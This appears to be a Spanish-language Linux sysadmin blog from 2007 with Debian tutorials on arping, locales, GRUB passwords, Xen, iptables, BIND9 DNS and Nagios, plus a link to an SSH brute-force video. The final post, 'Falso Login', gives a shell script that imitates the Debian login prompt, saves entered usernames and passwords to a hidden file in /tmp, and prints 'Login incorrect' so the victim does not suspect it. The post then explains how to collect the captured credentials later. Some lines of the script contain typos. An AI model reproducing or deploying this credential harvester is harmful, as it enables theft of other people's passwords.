miércoles, 12 de diciembre de 2007

arping

Si es un ping pero con protocolo ARP

Lo instalamos:
server:~# apt-get install arping


Y lo ejecutamos:
server:~# arping -a 00-19-3e-eb-24-31


Obtendremos algo como:
server:~# arping -a 00-19-3e-eb-24-31
ARPING 00-19-3e-eb-24-31
98 bytes from 10.1.0.8 (00:18:3e:ab:24:51): icmp_seq=1 time=138.939 msec
98 bytes from 10.1.0.8 (00:18:3e:ab:24:51): icmp_seq=2 time=1.138 sec
98 bytes from 10.1.0.8 (00:18:3e:ab:24:51): icmp_seq=3 time=2.474 msec
98 bytes from 10.1.0.8 (00:18:3e:ab:24:51): icmp_seq=4 time=2.511 msec
98 bytes from 10.0.0.2 (00:18:3e:eb:24:31): icmp_seq=5 time=2.585 msec

sábado, 10 de noviembre de 2007

Debian en Castellano

Debian en castellano

Para tener las aplicaciones en nuestro idioma lo primero que necesitamos es instalar los siguientes paquetes:

#apt-get install user-euro-es language-env euro-support

Una vez hayamos realizado el apt-get, para ver \los locales" (idiomas locales) que tiene el usuario que se encuentra actualmente conectado, hay que ejecutar el siguiente comando:

$locale

Si además queremos saber que traducciones locales tenemos disponibles en el sistema, ejecutaremos la siguiente instrucción:

$locale -a

Si el idioma castellano, no se encuentra disponible entre las locales del sistema las podemos incluir en el archivo de configuración de locales, /etc/locale.gen. Para ello añadiremos al final de ese archivo las siguientes líneas:

es_ES@euro ISO-8859-15
es_ES ISO-8859-1


Una vez añadidas al archivo necesitamos que las ejecute y reconfigure nuestro sistema, mediante el comando:

#/usr/sbin/locale-gen

Además en unos de los ficheros que carga las variables de usuario añadiremos las siguientes variables de entorno. Por ejemplo en el archivo ~/.bash profile:

export LANG=es_ES.ISO-8859-15
export LC_ALL=es_ES@euro


La próxima vez que hagamos login con el usuario cargará el nuevo perfil. Podemos comprobamos que \los locales" son los correctos, con el mismo comando que antes:

$locale

320 Servidor Linux para conexiones seguras de una LAN a Internet
Una vez tengamos disponible el idioma castellano, podemos habilitar también el soporte para el euro en la consola. Pasa eso tenemos que añadir las siguientes líneas al fichero /etc/console-tools/config, fichero de configuración de la consola:

SCREEN_FONT=lat0-sun16
APP_CHARSET_MAP=iso15
APP_CHARSET_MAP_vc2=iso15
APP_CHARSET_MAP_vc3=iso15


Si ademñas también queremos colocar las páginas de manuales en castellano hay que instalar los siguientes paquetes:

#apt-get install user-es manpages-es manpages-es-extra

Solo queda castellanizar las aplicaciones del sistema, si es que tienen los archivos del idioma. Hay que ejecutar el siguiente comando, seleccionando las opciones que nos interesen:

#dpkg-reconfigure locales,

Este documento esta basado en la documentación disponible en Debian, se puede consultar mediante:

$man castellanizar

Video-Tutorial para Ponerle Password al Grub

Al principio del video tutorial veran como edito las lineas del grub sin ingresar ningun password, esto es un problema, porque
cualquier persona puede sentarse en nuestro servidor tipear la letra "e" en el grub y simplemente ponerle al init una shell como
explicamos en el video anterior.

Lo que haremos ahora sera agregar un password al grub y no se podra realizar una modificacion salvo se ingrese una contraseña.

Bueno el video esta mas que claro.

Tengan un poco de paciencia que tarda en cargar porque no tengo una pc de las ultimas y esta hecho en vmware.

Saludos


Descarga de Video-Tutorial:
http://www.4shared.com/file/28901826/6ac56bcd/Agregar_password_al_grub.html

viernes, 9 de noviembre de 2007

viernes, 12 de octubre de 2007

Virtualizar Linux debian 4.0 CLI con Xen

Debian Etch And Xen From The Debian Repository
Version 1.0
Author: Michele Petrazzo "michele [dot] petrazzo [at] unipex [dot] it"
Last edit: Jan/27/2007

Preface

This how-to provides step-by-step instructions on how to install Xen on an already working Debian Etch system. You can find all the software used here in the Etch repository, so no external files or compilation are needed.

Installation

After logging in on a terminal (console or ssh), let's start with the kernel, libc (Xen version) and all the tools needed for making Xen work:

Here I use the vserver kernel version also because I do a complete installation since I need also vserver. If you don't need vserver, simply use the kernel linux-image-2.6-xen-686 instead (so without vserver string inside). If you don't know what vservers are, leave it... It doesn't make problems!

xen-test:~# apt-get install linux-image-2.6-xen-vserver-686 xen-hypervisor-3.0.3-1-i386-pae xen-tools xen-linux-system-2.6.18-4-xen-vserver-686 linux-headers-2.6-xen-vserver-686 libc6-xen bridge-utils

Now we have just installed Xen with its patched kernel, all the tools for creating and modifying the images (Xen calls it domains) and the new libc6 with the Xen patch that removes the annoying tls problem (see the Xen Faq for more info).

If you have a CPU that supports hardware virtualization (see HVM Compatible Processors) and you want full virtualization of unmodified operating systems, such as Microsoft's Windows product line, and standard Linux kernels, you should install the xen-ioemu package:

xen-test:~# apt-get install xen-ioemu-3.0.3-1

If you want to use a graphical frontend for editing the Xen configuration file, install the xenman package (I don't cover its usage in this tutorial):

Pay attention that this software depends on a lot of GTK libraries, so the installation may require a lot of downloads!

xen-test:~# apt-get install xenman

We also need to add the loop module to the kernel every time we boot our system, so edit /etc/modules and add the loop module:

xen-test:~# vi /etc/modules

At the end add:

loop max_loop=64

Now it's time to reboot to use our new kernel and the new libc libraries!

xen-test:~# reboot

Configuration

Ok. It's time to start to use Xen, so we need to modify the network configuration. I choose (the simplest?) solution to bridge my network interface with the Xen one:

xen-test:~# vi /etc/xen/xend-config.sxp

Go about to line 70 and uncomment the (network-script network-bridge) line:

#
# To bridge network traffic, like this:
#
# dom0: fake eth0 -> vif0.0 -+
# |
# bridge -> real eth0 -> the network
# |
# domU: fake eth0 -> vifN.0 -+
#
# use
#
(network-script network-bridge)
#


Inside this file you'll find a lot of other interesting configurations (like debug). Take a look into it!

Now restart the xend daemon to reload the new configuration:

xen-test:~# /etc/init.d/xend restart

And you will find three new virtual network cards:

xen-test:~# ifconfig | less

peth0 Link encap:Ethernet HWaddr FE:FF:FF:FF:FF:FF
*cut*
vif0.0 Link encap:Ethernet HWaddr FE:FF:FF:FF:FF:FF
*cut*
xenbr0 Link encap:Ethernet HWaddr FE:FF:FF:FF:FF:FF


If you don't find the above lines, something is wrong, so increase the debug into the xen file and restart the xend daemon. Go to the debug file log and see what's wrong.

Edit the xen configuration file in order to tell Xen that we have a different (up-to-date) kernel and a new directory where we store the domain files:

xen-test:~# vi /etc/xen-tools/xen-tools.conf

*at "dir" point, uncomment:*

dir = /home/xen

*at "kernel" and "initrd" point:*

kernel = /boot/vmlinuz-2.6.18-4-xen-vserver-686
initrd = /boot/initrd.img-2.6.18-4-xen-vserver


If you want, you can also change the various disk and size options, like: size memory, swap, repository location ... and all the others.

Now create a new directory where we will store the domain files (I choose /home/xen):

xen-test:~# mkdir /home/xen

and create the first Xen domain:

Domain Creation

xen-test:~# xen-create-image --debootstrap --hostname xen-etch --dhcp --dist=etch

Here I choose to debooststrap and to install the Debian Etch release with the hostname xen-etch. In my network I have a dhcp server, so I use that to assign the network settings to the new domain. If you don't have one, choose the --ip=my_new_address, for the gateway see --gateway.

See xen-create-image --help | less for more details.


If everything is ok, take a beer and wait some minutes...


ZZZzzz...

*cut*
Creating Xen configuration file
Done
All done

The beer is finished and so is the image creation :). It's time to start the new Xen domain:

Start The Xen Domain

xen-test:~# xm create /etc/xen/xen-etch.cfg

Using config file "/etc/xen/xen-etch.cfg".
Started domain xen-etch

xen-test:~# xm list

Name ID Mem(MiB) VCPUs State Time(s)
Domain-0 0 358 1 r----- 315.5
xen-etch 2 128 1 ------ 3.7

Log in to your new Xen domain (ssh or

xm console xen-etch

) and enjoy!

The End

This tutorial is the simplest solution that I found to start with Debian Etch and Xen. I use only 5% of the available commands, so I leave to you the task of looking into all commands and their switches!

FUENTE: http://howtoforge.com/debian_etch_xen_from_debian_repository

miércoles, 10 de octubre de 2007

Video Tutorial Fuerza Bruta SSH

VideoTutorial: Link

Fuente: http://icaix.com/front/2007/04/13/video-tutorial-backtrack-2-remote-brute-force-attack/

Filtrar PING con iptables desde todas las ip's menos desde la mia

Cambiar la palabra ip por una ip verdadera en la siguiente línea:

iptables -A INPUT -p icmp -s ip -j ACCEPT
iptables -A INPUT -p icmp -j DROP


o también puede hacerse en una sola línea de la siguiente forma:

iptables -A INPUT -p icmp -s !ip -j DROP

donde !ip hay que reemplazarlo por la ip de la pc que realmente quieren que responda el ping.

---------------------------------------------------------------------

Algo mas facil para filtrar ping pero desde cualquier ip, ejecutamos:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Si queremos volver a habilitar el ping solo cambiamos el 1 por el 0.

miércoles, 19 de septiembre de 2007

Aumix, audio en consola de texto


Simplemente instalarlo con apt-get:
#apt-get intall aumix

Y luego ejecutarlo
#aumix

No voy a explicar como usarlo pq es muy simple.

lunes, 10 de septiembre de 2007

Instalar Messenger para Consola (debian)


Simplemente con ejecutar:

apt-get install tmsnc

Luego ejecutarlo con el mismo nombre:

tmsnc

Y loguearse por ejemplo con su usuarios de hotmail y su contraseña. Es muy facil de utilizar y en debian no tienen que configurar absolutamente nada.

viernes, 31 de agosto de 2007

Servidor DNS Primario y Secundario con BIND9

Instalación el paquete Bind9 y sus utilidades:

apt-get install bind9 dnsutils


Creación de la zona Primaria:

cd /etc/bind


Ediar named.conf:

vi named.conf

Creamos una ACL(Lista de acceso) para la transferencia de zonas unicamente a nuestro server DNS secundario:

acl "slaves" {
10.10.10.2;
};
#Donde esa ip obviamente es la del servidor SECUNDARIO



Agregamos la zona:

zone "tirher.com.ar" {
type master;
file "/etc/bind/tirher.com.ar";
allow-query { any; }; #Permitimos consultas a cualquier host.
allow-transfer { slaves; }; #Permitimos transferecias solamente de los esclavos.
};



Creamos el archivo de la zona /etc/bind/tirher.com.ar

$TTL 86400
@ IN SOA ns1.tirher.com.ar. root.tirher.com.ar. (
2007082701 ; serial
10800 ; refresh
3600 ; retry
86400 ; expire
3600) ; default

IN NS ns1.tirher.com.ar.
IN MX 10 mail.tirher.com.ar.
IN A 10.10.10.1
ns1 IN A 10.10.10.1
www IN A 10.10.10.1
mail IN A 10.10.10.3



Guardar cambios en dicho archivo (:wq) y reiniciar bind:

/etc/init.d/bind9 restart


Probar que el DNS resuelva correctamente:

dig tirher.com.ar A @localhost
.....
;; ANSWER SECTION:
tirher.com.ar. 86400 IN A 10.10.10.1
.....


Configuración Servidor DNS Secundario:

Editar named.conf del servidor secundario:

zone "tirher.com.ar" {
type slave;
file "/etc/bind/tirher.com.ar";
masters {
10.10.10.1;
};
};


ACLARACION: Si no especificamos un directorio en la linea file "/etc/bind/tirher.com.ar", simplemente se creara el archivo de la zona en /var/cache/bind


Reiniciamos los dos servicios de bind (del server primario y del secundario):

/etc/init.d/bind9 restart


Para verificar si existe algun inconveniente en la configuracion o no funciona deberemos analizar los logs en:

tail -f /var/log/syslog #Dejar ejecutando en una consola
/etc/init.d/bind9 #En otra consola reiniciar y verificar la consola anterior

Nagios en debian etch


Nagios es una potente herramienta para monitorizar servicios de red.

En este articulo vamos a ver cuales son los paquetes y programas necesarios para monitorear una pequeña red local.

Para empezar instalamos los paquetes necesarios, si no poseen un servidor HTTP instalen un apache o apache2 antes de continuar:

#apt-get install nagios-text nagios-plugins

El asistente nos va a realizar una serie de preguntas:

* Tipo de servidor HTTP: Acá elegimos el que corresponda, en mi caso apache2.
* Contraseña de administrador: La que deseemos, es para entrar mas tarde.
* Habilitar la capacidad de ejecutar comandos externos via web: Si.

Terminada la descompresión y configuración de los paquetes necesarios vamos a la configuración:

Nagios se configura en /etc/nagios/nagios.cfg, cgi.cfg y en el resto de los archivos de ese directorio.

Los archivos (principales, básicos y obligatorios) a configurar serán:
nagios.cfg, cgi.cfg, hosts.cfg,hostgroups.cfg, contacts.cfg, contactgroups.cfg, misccommands.cfg, services.cfg.

nagios.cfg: Como viene por defecto no hace falta tocar nada para empezar a usarlo.

cgi.cfg: Configuramos las siguientes lineas para que únicamente nagiosadmin tenga acceso total al sistema.

authorized_for_system_information=nagiosadmin
authorized_for_configuration_information=nagiosadmin
authorized_for_system_commands=nagiosadmin
authorized_for_all_services=nagiosadmin
authorized_for_all_hosts=nagiosadmin
authorized_for_all_service_commands=nagiosadmin
authorized_for_all_host_commands=nagiosadmin

hosts.cfg: Acá debemos configurar todas las máquinas que queremos monitorizar. Cada una deberá, al menos, tener un servicio: check_ping, check_http, check_ftp, etc…
En nuestro caso vamos a monitorizar una PC, la que brinda hosting a wikipeando.com.ar: neptuno.svfnet.net

define host{
use generic-host
host_name neptuno.svfnet.net
alias Neptuno
address 84.16.224.149
check_command check-host-alive
max_check_attempts 10
notification_interval 120
notification_period 24×7
notification_options d,u,r
}

hostgroups.cfg: Cada host que definamos tiene que pertenecer a un hostgroup y cada hostgroup debe tener un contact_groups.

En nuestro caso vamos a tener un solo grupo llamado: monitoreo y un grupo de contacto llamado admines.

define hostgroup{
hostgroup_name monitoreo
alias Monitoreo
contact_groups admines
members neptuno.svfnet.net
}

contacts.cfg: Acá definiremos las personas a las que se les notificara de las posibles incidencias de las máquinas de la red.

En nuestro caso vamos a definir una sola persona.

define contact{
contact_name nagios
alias Nagios Admin
service_notification_period 24×7
host_notification_period 24×7
service_notification_options w,u,c,r
host_notification_options d,u,r
service_notification_commands notify-by-email
host_notification_commands host-notify-by-email
email nagios-admin@localhost ;no es buena idea usar un mail que este en la máquina a monitorizar :P
}

contactgroups.cfg: Cada contacto tiene que pertenecer a un grupo de contacto, en nuestro caso tenemos solo a uno: nagios quien deberá pertenecer al grupo admines.

define contactgroup{
contactgroup_name admines
alias Admines
members nagios
}

services.cfg: Acá vamos a definir los servicios que vamos a monitorear de nuestros hosts.

En nuestro caso vamos a ver todos los servicios de la máquina:

define service{
use generic-service
host_name neptuno.svfnet.net
service_description PING
is_volatile 0
check_period 24×7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admines
notification_interval 240
notification_period 24×7
notification_options c,r
check_command check_ping!100.0,20%!500.0,60%
}

define service{
use generic-service
host_name neptuno.svfnet.net
service_description FTP
is_volatile 0
check_period 24×7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admines
notification_interval 240
notification_period 24×7
notification_options w,u,c,r
check_command check_ftp
}

define service{
use generic-service
host_name neptuno.svfnet.net
service_description HTTP
is_volatile 0
check_period 24×7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admines
notification_interval 240
notification_period 24×7
notification_options w,u,c,r
check_command check_http
}

define service{
use generic-service
host_name neptuno.svfnet.net
service_description SMTP
is_volatile 0
check_period 24×7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admines
notification_interval 240
notification_period 24×7
notification_options w,u,c,r
check_command check_smtp
}

define service{
use generic-service
host_name neptuno.svfnet.net
service_description POP3
is_volatile 0
check_period 24×7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admines
notification_interval 240
notification_period 24×7
notification_options w,u,c,r
check_command check_pop
}

escalations.cfg y dependencies.cfg: Comentar todas las líneas que aparezcan en estos archivos con # delante.

Una vez configurado checkeamos si tenemos o no algun error en lo que acabamos de configurar:

# nagios -v /etc/nagios/nagios.cfg

Si no recibimos ningun error, reiniciamos el demonio:

# /etc/init.d/nagios restart

Si configuramos nuestro servidor HTTP con el asistente, para ingresar a nagios solo tenemos que ir a http://127.0.0.1/nagios con nuestro browser favorito y autenticarnos con el usuario nagiosadmin y la clave que configuramos inicialmente.

http://www.wikipeando.com.ar/wp-content/uploads/nagios_status.png

Enlace del documento Fuente: http://www.wikipeando.com.ar/index.php/archives/101

VideoTutoriales de Windows Servers

01 Introducción a Windows Server.rar:
http://www.4shared.com/file/15378236/ffa20985/winserver1.html

02 Instalación de Windows Server.rar:
http://www.4shared.com/file/15378938/144fcb63/winserver2.html

03 Usuarios del Servidor y Editor de Directivas.rar:
http://www.4shared.com/file/15380836/b5d1336d/winserver3.html

04 Introducción al Servicio de Resolución de Nombres (DNS).rar:
http://www.4shared.com/file/15381177/11d79a15/winserver4.html

05 Instalación y Configuración de DNS.rar:
http://www.4shared.com/file/15381397/8cd063f5/winserver5.html

Pass: www.mnox.org

viernes, 24 de agosto de 2007

Nagios en debian

Lo instale y funciona perfecto, despues les pongo los archivos de configuracion y como configurarlo, lo que no pude hacer todavia es recibir por mail las notificaciones.

1)apt-get install build-essential

2)apt-get install libjpeg62 libjpeg62-dev libpng12-0 libpng12-dev

3.0)cd /tmp
3.1)wget -c http://www.libgd.org/releases/gd-2.0.35.tar.gz
3.2)tar xzf gd-2.0.35.tar.gz
3.3)cd gd-2.0.35
3.4)./configure
3.5)make
3.6)make install

4.0)useradd nagios
4.1)passwd nagios -> asigno el password y lo repito
4.2)groupadd nagios
4.3)groupadd nagcmd
4.4)usermod -G nagios nagios
4.5)usermod -G nagios otro_user (ya debe existir el usuario otro_user)
4.6)usermod -G nagcmd nagios
4.7)usermod -G nagcmd www-data

5.0)cd /tmp
5.1)wget -c http://tinyurl.com/2jyzao/nagios-3.0a5.tar.gz
5.2)wget -c http://tinyurl.com/2mqzzk/nagios-plugins-1.4.9.tar.gz
5.3)tar xzf nagios-3.0a5.tar.gz
5.4)cd nagios-3.0a5
5.5)./configure -with-command-group=nagcmd
5.6)make all
5.7)make install
5.8)make install-init
5.9)make install-config
5.10)make install-commandmode
5.11)make install-webconf -> da error pw no encuentra un archivo
5.12)cd ..
5.13)tar xzf nagios-plugins-1.4.9.tar.gz
5.14)cd nagios-plugins-1.4.9
5.15)./configure –with-nagios-user=nagios –with-nagios-group=nagios
5.16)make
5.17)make install

6.0)apt-get install apache2
6.1)htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin
6.2)vi /etc/apache2/sites-available/nagios -> copiar y pegar lo siguiente:

ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin


Options ExecCGI
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user


Alias /nagios /usr/local/nagios/share


Options None
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user

[ESC]:wq -> Guardar y cerrar

6.2)a2ensite nagios
6.3)/etc/init.d/apache2 reload

7.0)/etc/init.d/nagios start
7.1)ln -s /etc/init.d/nagios /etc/rcS.d/S99nagios

8.0)entrar por web -> http://ip_server_nagios/nagios
8.1)poner user y pass

jueves, 19 de abril de 2007

Falso Login en Linux Debian Sarge

falso_login #Abro editor de texto vi con el nombre de archivo falso_login.sh

clear
#Limpio pantalla

echo "Debian GNU/Linux 4.0 debian `tty cut -c6,7,8,9`" #Pantalla de inicio de Debian 4.0 ustedes pongan la que tienen

echo
echo -n "`uname -n` login: " #Imprimo nombre de host, seguido de la palabra login

read usu #Guardo en la variable usu el nombre de usuario capturado de teclado

stty -echonl -echo #Evita que se lea todo lo que se tipea, obviamente para no leer el password que se escribe

echo -n "Password: "

read pass #Escbribo la palabra password para que aparezca en pantalla y que el usuario la teclee

echos

leep 3

echo >> /tmp/.captura

echo "Usuario: $usu" >> /tmp/.captura #Envio el nombre de usuario capturado al archivo .pass ubicado en /tmp

echo "Contraseña: $pass" >> /tmp/.captura #Envio la password del usuario al mismo archivo que la linea anterior

echo >> /tmp/.captura

echo

echo "Login incorrect" #Muestro por pantalla login incorrecto para que el user no sospeche

echo

exec /bin/login #Ejecuto el verdadero login

Guardo el archivo con [ESC]: -> wq

Cambio permisos para que pueda ejecutarse:#chmod a+x falso_login.sh

Dejamos ejecutando esperando que algun usuario ingrese su login y su pass y listo
./falso_login.sh

Luego una vez que el usuario dejo la pc, volvemos a dicha maquina y vemos lo siguiente:
cat /tmp/.captura

Y veremos como resultado los usuarios y password que ingresaron
cat /tmp/.captura